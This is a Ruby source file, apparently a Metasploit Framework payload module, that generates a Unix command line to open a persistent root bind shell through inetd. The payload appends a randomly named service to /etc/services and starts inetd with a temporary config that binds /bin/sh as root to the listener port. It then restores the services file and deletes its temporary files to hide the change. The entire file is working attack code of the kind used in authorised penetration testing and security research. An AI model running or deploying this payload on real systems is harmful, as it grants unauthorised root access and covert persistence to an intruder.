88 lines
2.1 KiB
Ruby
88 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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module Metasploit3
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Bind TCP (inetd)',
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'Version' => '$Revision$',
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'Description' => 'Listen for a connection and spawn a command shell (persistent)',
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'Author' => 'hdm',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'Privileged' => true,
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'RequiredCmd' => 'inetd',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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tmp_services = "/tmp/." + Rex::Text.rand_text_alpha(32)
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tmp_inet = "/tmp/." + Rex::Text.rand_text_alpha(32)
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svc = Rex::Text.rand_text_alpha_lower(9)
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cmd =
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# Create a clean copy of the services file
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"cp /etc/services #{tmp_services};" +
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# Add our service to the system one
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"echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +
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# Create our inetd configuration file with our service
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"echo #{svc} stream tcp nowait root /bin/sh sh>#{tmp_inet};" +
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# First we try executing inetd without the full path
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"inetd -s #{tmp_inet} ||" +
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# Next try the standard inetd path on Linux, Solaris, BSD
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"/usr/sbin/inetd -s #{tmp_inet} ||" +
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# Next try the Irix inetd path
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"/usr/etc/inetd -s #{tmp_inet};" +
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# Overwrite services with the "clean" version
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"cp #{tmp_services} /etc/services;" +
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# Delete our configuration file
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"rm #{tmp_inet} #{tmp_services};";
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return cmd
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end
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end
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